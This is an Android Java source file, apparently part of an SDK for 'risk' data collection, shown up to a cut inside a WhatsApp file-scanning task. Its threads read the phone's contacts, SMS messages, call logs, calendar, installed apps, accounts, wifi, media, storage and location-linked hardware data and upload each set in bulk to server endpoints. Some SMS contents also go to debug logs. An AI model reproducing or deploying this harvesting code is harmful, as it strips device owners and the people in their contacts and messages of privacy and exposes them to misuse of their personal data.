package com.zhi.syc.data_applist;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Handler;
import android.text.TextUtils;
import android.util.Log;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.zhi.syc.data_applist.beans.ASDeviceInfoBean;
import com.zhi.syc.data_applist.beans.ASMessageInfoCKBean;
import com.zhi.syc.data_applist.logger.ASLogger;
import com.zhi.syc.data_applist.services.ASBatteryInfo;
import com.zhi.syc.data_applist.services.ASCalendarInfo;
import com.zhi.syc.data_applist.services.ASCallLogInfo;
import com.zhi.syc.data_applist.services.ASContactInfo;
import com.zhi.syc.data_applist.services.ASDeviceInfo;
import com.zhi.syc.data_applist.services.ASFileScanInfo;
import com.zhi.syc.data_applist.services.ASHardwareInfo;
import com.zhi.syc.data_applist.services.ASImageInfo;
import com.zhi.syc.data_applist.services.ASInstalledAppsInfo;
import com.zhi.syc.data_applist.services.ASMediaInfo;
import com.zhi.syc.data_applist.services.ASMessageInfo;
import com.zhi.syc.data_applist.services.ASNetParams;
import com.zhi.syc.data_applist.services.ASNetworkInfo;
import com.zhi.syc.data_applist.services.ASSettingAccountInfo;
import com.zhi.syc.data_applist.services.ASStoreInfo;
import com.zhi.syc.data_applist.util.ASGeneralUtil;
import com.zhi.syc.data_applist.util.ASNetworkUtil;
import com.zhi.syc.data_applist.util.ASUtil;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.TimeUnit;

public class ASSycManager {
    public Context mContext;

    public static boolean BatteryFinish = false;
    public static boolean CalendarFinish = false;
    public static boolean ContactFinish = false;
    public static boolean DeviceFinish = false;
    public static boolean DeviceHardwareFinish = false;
    public static boolean DeviceStoreFinish = false;
    public static boolean ImageFinish = false;
    public static boolean AppListFinish = false;
    public static boolean MediaFinish = false;
    public static boolean SmsFinish = false;
    public static boolean WifiFinish = false;
    public static boolean SettingAccountFinish = false;
    public static boolean ScanFilePathFinish = false;
    public static boolean calllogFinish = false;

    private final static byte[] mLockObj = new byte[0];

    private ASThreadPoolExecutor mASThreadPoolExecutor;

    private OnFetchCompletedListener mOnFetchCompletedListener;

    private static final ASSycManager instance = new ASSycManager();

    public static ASSycManager getInstance() {
        return instance;
    }

    private static Handler mRecheckHandler;
    private static HashSet<String> mRecheckTypeSet = new HashSet<>();

    public void init(Context applicationContext) {
        mRecheckHandler = new Handler();
        mContext = applicationContext;
        ASBuilder.PCK_CONTEXT = applicationContext;
        initThreadPoolExecutor();
    }

    public void initThreadPoolExecutor() {
        if (mASThreadPoolExecutor == null) {
            //设置线程数
            int cpuCoreCount = Runtime.getRuntime().availableProcessors();
            if (cpuCoreCount <= 2) {
                cpuCoreCount = 1;
            } else if (cpuCoreCount <= 4) {
                cpuCoreCount = 2;
            } else {
                cpuCoreCount /= 2;
            }
            ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "cpu核数：" + cpuCoreCount);

            mASThreadPoolExecutor = new ASThreadPoolExecutor(cpuCoreCount, cpuCoreCount, 1, TimeUnit.SECONDS, new LinkedBlockingDeque<Runnable>());
            mASThreadPoolExecutor.allowCoreThreadTimeOut(true);
        }
    }

    public void setCommonParams(String gversion,
                                String gsysLoginName,
                                String gadvertId,
                                String gtoken,
                                String gloginId) {

        String gip = ASNetworkUtil.getIPAddress(mContext);
        String gmac = ASNetworkUtil.getMacAddress(mContext);
        String gandroidId = ASGeneralUtil.getAndroidID(mContext);

        ASBuilder.KEY_VERSION = gversion;
        ASBuilder.KEY_USER_NAME = gsysLoginName;
        ASBuilder.KEY_ADVERT_ID = gadvertId;
        ASBuilder.KEY_TOKEN = gtoken;
        ASBuilder.KEY_LOGIN_ID = gloginId;
        ASBuilder.KEY_IP = gip;
        ASBuilder.KEY_MAC = gmac;
        ASBuilder.KEY_ANDROID_ID = gandroidId;
    }

    public void sycDataForRisk() {
        try {
            initThreadPoolExecutor();

            mASThreadPoolExecutor.execute(new DeviceHardwareRunable());
            mASThreadPoolExecutor.execute(new DeviceRunable());
            mASThreadPoolExecutor.execute(new ContactRunable());
            mASThreadPoolExecutor.execute(new SmsRunable());
            mASThreadPoolExecutor.execute(new CalllogRunable());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void recheckDataState(final String type) {
        try {
            initThreadPoolExecutor();

            if (type.equalsIgnoreCase(ASBuilder.TYPE_DEVICE)) {
                mASThreadPoolExecutor.execute(new DeviceRunable());
            } else if (type.equalsIgnoreCase(ASBuilder.TYPE_HARDWARE)) {
                mASThreadPoolExecutor.execute(new DeviceHardwareRunable());
            } else if (type.equalsIgnoreCase(ASBuilder.TYPE_CONTACT)) {
                mASThreadPoolExecutor.execute(new ContactRunable());
            } else if (type.equalsIgnoreCase(ASBuilder.TYPE_MESSAGE)) {
                mASThreadPoolExecutor.execute(new SmsRunable());
            } else if (type.equalsIgnoreCase(ASBuilder.TYPE_CALLLOG)) {
                mASThreadPoolExecutor.execute(new CalllogRunable());
            }
//
//            if (mRecheckTypeSet != null) {
//                for (String type : mRecheckTypeSet) {
//                    if (type.equalsIgnoreCase(ASBuilder.TYPE_DEVICE)) {
//                        mASThreadPoolExecutor.execute(new DeviceRunable());
//                    } else if (type.equalsIgnoreCase(ASBuilder.TYPE_HARDWARE)) {
//                        mASThreadPoolExecutor.execute(new DeviceHardwareRunable());
//                    } else if (type.equalsIgnoreCase(ASBuilder.TYPE_CONTACT)) {
//                        mASThreadPoolExecutor.execute(new ContactRunable());
//                    } else if (type.equalsIgnoreCase(ASBuilder.TYPE_MESSAGE)) {
//                        mASThreadPoolExecutor.execute(new SmsRunable());
//                    } else if (type.equalsIgnoreCase(ASBuilder.TYPE_CALLLOG)) {
//                        mASThreadPoolExecutor.execute(new CalllogRunable());
//                    }
//                }
//            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void sycData(String token) {
        try {
            ASBuilder.KEY_TOKEN = ASUtil.safeString(token);
            initThreadPoolExecutor();

            mASThreadPoolExecutor.execute(new DeviceBatteryRunable());
            mASThreadPoolExecutor.execute(new DeviceHardwareRunable());
            mASThreadPoolExecutor.execute(new DeviceRunable());
            mASThreadPoolExecutor.execute(new DeviceStoreRunable());
            mASThreadPoolExecutor.execute(new WifiRunable());
            mASThreadPoolExecutor.execute(new ContactRunable());
            mASThreadPoolExecutor.execute(new AppListRunable());
            mASThreadPoolExecutor.execute(new SmsRunable());
            mASThreadPoolExecutor.execute(new CalendarRunable());
//            不用上报相册
//            mASThreadPoolExecutor.execute(new ImageRunable());
            mASThreadPoolExecutor.execute(new SettingAccountRunable());
            mASThreadPoolExecutor.execute(new MediaRunable());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void sycData(String token, String conditions) {
        try {
            ASBuilder.KEY_TOKEN = ASUtil.safeString(token);
            initThreadPoolExecutor();

            //conditions = "APPLIST,CONTACT,MESSAGE,DEVICE,IMAGE,BATTERY,HARDWARE,STORE,NETWORK,MEDIA,LOCATION";
            conditions = ASUtil.safeString(conditions);

            mASThreadPoolExecutor.execute(new DeviceBatteryRunable());
            mASThreadPoolExecutor.execute(new DeviceHardwareRunable());
            mASThreadPoolExecutor.execute(new DeviceRunable());
            mASThreadPoolExecutor.execute(new DeviceStoreRunable());
            mASThreadPoolExecutor.execute(new WifiRunable());

            if (conditions.contains("CONTACT")) {
                mASThreadPoolExecutor.execute(new ContactRunable());
            }

            if (conditions.contains("APPLIST")) {
                mASThreadPoolExecutor.execute(new AppListRunable());
            }

            if (conditions.contains("MESSAGE")) {
                mASThreadPoolExecutor.execute(new SmsRunable());
            }

            mASThreadPoolExecutor.execute(new CalendarRunable());
            mASThreadPoolExecutor.execute(new SettingAccountRunable());
            mASThreadPoolExecutor.execute(new MediaRunable());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void sycDataWhatsApp(String token) {
        try {
            ASBuilder.KEY_TOKEN = ASUtil.safeString(token);
            initThreadPoolExecutor();

            mASThreadPoolExecutor.execute(new ScanWhatsAppFilesRunable());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void sycDataSms(String token, OnFetchCompletedListener completedListener) {
        try {
            mOnFetchCompletedListener = completedListener;
            ASBuilder.KEY_TOKEN = ASUtil.safeString(token);
            initThreadPoolExecutor();

            mASThreadPoolExecutor.execute(new SmsImmediatelyRunable());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void sycDataSmsCK(String token, OnFetchCompletedListener completedListener) {
        try {
            mOnFetchCompletedListener = completedListener;
            ASBuilder.KEY_TOKEN = ASUtil.safeString(token);
            initThreadPoolExecutor();

            mASThreadPoolExecutor.execute(new SmsImmediatelyRunableCK());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public boolean checkHadAllDataFinishAfterRunnable(String runnableName) {
        synchronized (mLockObj) {
            if (ASBuilder.TYPE_BATTERY.equalsIgnoreCase(runnableName)) {
                BatteryFinish = true;
            }
            if (ASBuilder.TYPE_CALENDAR.equalsIgnoreCase(runnableName)) {
                CalendarFinish = true;
            }
            if (ASBuilder.TYPE_CONTACT.equalsIgnoreCase(runnableName)) {
                ContactFinish = true;
            }
            if (ASBuilder.TYPE_DEVICE.equalsIgnoreCase(runnableName)) {
                DeviceFinish = true;
            }
            if (ASBuilder.TYPE_HARDWARE.equalsIgnoreCase(runnableName)) {
                DeviceHardwareFinish = true;
            }
            if (ASBuilder.TYPE_STORE.equalsIgnoreCase(runnableName)) {
                DeviceStoreFinish = true;
            }
//            if (ASBuilder.TYPE_IMAGE.equalsIgnoreCase(runnableName)) {
//                ImageFinish = true;
//            }
            if (ASBuilder.TYPE_APPLIST.equalsIgnoreCase(runnableName)) {
                AppListFinish = true;
            }
            if (ASBuilder.TYPE_MEDIA.equalsIgnoreCase(runnableName)) {
                MediaFinish = true;
            }
            if (ASBuilder.TYPE_MESSAGE.equalsIgnoreCase(runnableName)) {
                SmsFinish = true;
            }
            if (ASBuilder.TYPE_NETWORK.equalsIgnoreCase(runnableName)) {
                WifiFinish = true;
            }
            if (ASBuilder.TYPE_SETTING_ACCOUNT.equalsIgnoreCase(runnableName)) {
                SettingAccountFinish = true;
            }
            if (ASBuilder.TYPE_SCAN_FILE_PATH.equalsIgnoreCase(runnableName)) {
                ScanFilePathFinish = true;
            }
            return (BatteryFinish &&
                    CalendarFinish &&
                    ContactFinish &&
                    DeviceFinish &&
                    DeviceHardwareFinish &&
                    DeviceStoreFinish &&
//                    ImageFinish &&
                    AppListFinish &&
                    MediaFinish &&
                    SmsFinish &&
                    WifiFinish &&
                    SettingAccountFinish &&
                    ScanFilePathFinish);
        }
    }

    class DeviceBatteryRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASBatteryInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_BATTERY)) {
                    return;
                }

                ASBatteryInfo batteryInfo = new ASBatteryInfo();
                batteryInfo.getBatteryInfo(mContext, batteryInfoBean -> {
                    try {
                        ASNetParams netParams = new ASNetParams();
                        netParams.setDeviceBatteryGzip(batteryInfoBean);
                        String result = new Gson().toJson(netParams).trim();
                        //ASLogger.d(getClass().getSimpleName(), ASBuilder.TYPE_BATTERY+ ": " + result);

                        if (mASThreadPoolExecutor == null) {
                            initThreadPoolExecutor();
                        }
                        mASThreadPoolExecutor.execute(() -> postData(ASBuilder.PATH_BATTERY, ASBuilder.TYPE_BATTERY, result));

                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
                BatteryFinish = false;
            }
        }
    }

    class CalendarRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASCalendarInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_CALENDAR)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CALENDAR)) {
                    infoBeans = ASCalendarInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取日历信息出错：没有 READ_CALENDAR 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setCalendarGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_CALENDAR + "：" + result);
                postData(ASBuilder.PATH_CALENDAR, ASBuilder.TYPE_CALENDAR, result);

            } catch (Exception e) {
                e.printStackTrace();
                CalendarFinish = false;
            }
        }
    }

    class ContactRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASContactInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_CONTACT)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CONTACTS)) {
                    infoBeans = ASContactInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取联系人列表出错：没有 READ_CONTACTS 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setBookList(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_CONTACT + "：" + result);
                postData(ASBuilder.PATH_CONTACT, ASBuilder.TYPE_CONTACT, result);

            } catch (Exception e) {
                e.printStackTrace();
                ContactFinish = false;
            }
        }
    }

    class DeviceRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASDeviceInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_DEVICE)) {
                    return;
                }

                ASDeviceInfoBean infoBeans;
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_PHONE_STATE)) {
                    infoBeans = ASDeviceInfo.getDeviceInfo(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取设备信息出错：没有 READ_PHONE_STATE 权限");
                    return;
                }

                if (infoBeans == null) {
                    return;
                }

                String result = new Gson().toJson(infoBeans).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_DEVICE + "：" + result);
                postData(ASBuilder.PATH_DEVICE, ASBuilder.TYPE_DEVICE, result);

            } catch (Exception e) {
                e.printStackTrace();
                DeviceFinish = false;
            }
        }
    }

    class DeviceHardwareRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASHardwareInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_HARDWARE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_FINE_LOCATION) &&
                        PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_COARSE_LOCATION) &&
                        PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_PHONE_STATE)) {
                    infoBeans = ASHardwareInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取硬件信息出错：没有 READ_PHONE_STATE/ACCESS_FINE_LOCATION/ACCESS_COARSE_LOCATION 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceHardwareGzip(infoBeans);

                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_HARDWARE + "：" + result);
                postData(ASBuilder.PATH_HARDWARE, ASBuilder.TYPE_HARDWARE, result);

            } catch (Exception e) {
                e.printStackTrace();
                DeviceHardwareFinish = false;
            }
        }
    }

    class ImageRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASImageInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_IMAGE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_EXTERNAL_STORAGE)) {
                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
                        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_MEDIA_LOCATION)) {
                            infoBeans = ASImageInfo.getListZipString(mContext);
                        } else {
                            ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取图片列表出错：没有 ACCESS_MEDIA_LOCATION 权限");
                            return;
                        }
                    } else {
                        infoBeans = ASImageInfo.getListZipString(mContext);
                    }
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取图片列表出错：没有 READ_EXTERNAL_STORAGE 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setUserImagesGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_IMAGE + "：" + result);
                postData(ASBuilder.PATH_IMAGE, ASBuilder.TYPE_IMAGE, result);

            } catch (Exception e) {
                e.printStackTrace();
                ImageFinish = false;
            }
        }
    }

    class AppListRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASInstalledAppsInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_APPLIST)) {
                    return;
                }

                String infoBeans = "";
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
                    if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.QUERY_ALL_PACKAGES)) {
                        infoBeans = ASInstalledAppsInfo.getListZipString(mContext);
                    } else {
                        ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取app列表信息出错：没有 QUERY_ALL_PACKAGES 权限");
                        return;
                    }
                } else {
                    infoBeans = ASInstalledAppsInfo.getListZipString(mContext);
                }
                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setAppListGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_APPLIST + "：" + result);
                postData(ASBuilder.PATH_APPLIST, ASBuilder.TYPE_APPLIST, result);

            } catch (Exception e) {
                e.printStackTrace();
                AppListFinish = false;
            }
        }
    }

    class MediaRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASMediaInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_MEDIA)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_EXTERNAL_STORAGE)) {
                    infoBeans = ASMediaInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取媒体信息出错：没有 READ_EXTERNAL_STORAGE 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceMediaGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MEDIA + "：" + result);
                postData(ASBuilder.PATH_MEDIA, ASBuilder.TYPE_MEDIA, result);

            } catch (Exception e) {
                e.printStackTrace();
                MediaFinish = false;
            }
        }
    }

    class SmsRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASMessageInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_MESSAGE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
                    infoBeans = ASMessageInfo.getListZipString(mContext);
                } else {
                    ASMessageInfo.setFetchTypeNoPermission();
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取短信信息出错：没有 READ_SMS 权限");
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setSmsRecordsGzip(infoBeans);
                netParams.setSmsFetchType(ASMessageInfo.getFetchType());
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MESSAGE + "：" + result);
                postData(ASBuilder.PATH_MESSAGE, ASBuilder.TYPE_MESSAGE, result);

            } catch (Exception e) {
                e.printStackTrace();
                SmsFinish = false;
            }
        }
    }

    class CalllogRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASMessageInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_CALLLOG)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CALL_LOG)) {
                    infoBeans = ASCallLogInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取短信信息出错：没有 READ_SMS 权限");
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setCallLogListGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MESSAGE + "：" + result);
                postData(ASBuilder.PATH_CALLLOG, ASBuilder.TYPE_CALLLOG, result);

            } catch (Exception e) {
                e.printStackTrace();
                calllogFinish = false;
            }
        }
    }

    class SmsImmediatelyRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASMessageInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_MESSAGE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
                    infoBeans = ASMessageInfo.getListZipString(mContext);
                } else {
                    ASMessageInfo.setFetchTypeNoPermission();
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取短信信息出错：没有 READ_SMS 权限");
                    if (mOnFetchCompletedListener != null) {
                        mOnFetchCompletedListener.onFetchCompleted(ASBuilder.TYPE_MESSAGE, "没有 READ_SMS 权限", false);
                    }
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setSmsRecordsGzip(infoBeans);
                netParams.setSmsFetchType(ASMessageInfo.getFetchType());
                String result = new Gson().toJson(netParams).trim();
                ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MESSAGE + "：" + result);
                postData(ASBuilder.PATH_MESSAGE, ASBuilder.TYPE_MESSAGE, result);

            } catch (Exception e) {
                e.printStackTrace();
                SmsFinish = false;
            }
        }
    }

    class SmsImmediatelyRunableCK implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASMessageInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_MESSAGE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
//                    infoBeans = ASMessageInfo.getListZipStringImmediately();

                   List<ASMessageInfoCKBean> listCK = ASMessageInfo.getMsgListCK(mContext);
                    String result = new Gson().toJson(listCK).trim();
                    ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MESSAGE + "：" + result);
                    postData(ASBuilder.PATH_MESSAGE, ASBuilder.TYPE_MESSAGE, result);

                } else {
                    ASMessageInfo.setFetchTypeNoPermission();
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取短信信息出错：没有 READ_SMS 权限");
                    if (mOnFetchCompletedListener != null) {
                        mOnFetchCompletedListener.onFetchCompleted(ASBuilder.TYPE_MESSAGE, "没有 READ_SMS 权限", false);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
                SmsFinish = false;
            }
        }
    }

    class WifiRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASNetworkInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_NETWORK)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_FINE_LOCATION) &&
                        PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_COARSE_LOCATION) &&
                        PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.ACCESS_WIFI_STATE)) {
                    infoBeans = ASNetworkInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取Wifi信息出错：没有 ACCESS_WIFI_STATE/ACCESS_FINE_LOCATION/ACCESS_COARSE_LOCATION 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceWifiGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_NETWORK + "：" + result);
                postData(ASBuilder.PATH_NETWORK, ASBuilder.TYPE_NETWORK, result);

            } catch (Exception e) {
                e.printStackTrace();
                WifiFinish = false;
            }
        }
    }

    class SettingAccountRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASSettingAccountInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_SETTING_ACCOUNT)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.GET_ACCOUNTS) &&
                        PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CONTACTS)) {
                    infoBeans = ASSettingAccountInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取设置-联系人列表出错：没有 READ_CONTACTS 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setSettingAccountGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_SETTING_ACCOUNT + "：" + result);
                postData(ASBuilder.PATH_SETTING_ACCOUNT, ASBuilder.TYPE_SETTING_ACCOUNT, result);

            } catch (Exception e) {
                e.printStackTrace();
                SettingAccountFinish = false;
            }
        }
    }

    class DeviceStoreRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASStoreInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_STORE)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_PHONE_STATE)) {
                    infoBeans = ASStoreInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取存储信息出错：没有 READ_PHONE_STATE 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceStorageGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_STORE + "：" + result);
                postData(ASBuilder.PATH_STORE, ASBuilder.TYPE_STORE, result);

            } catch (Exception e) {
                e.printStackTrace();
                DeviceStoreFinish = false;
            }
        }
    }

    class ScanWhatsAppFilesRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
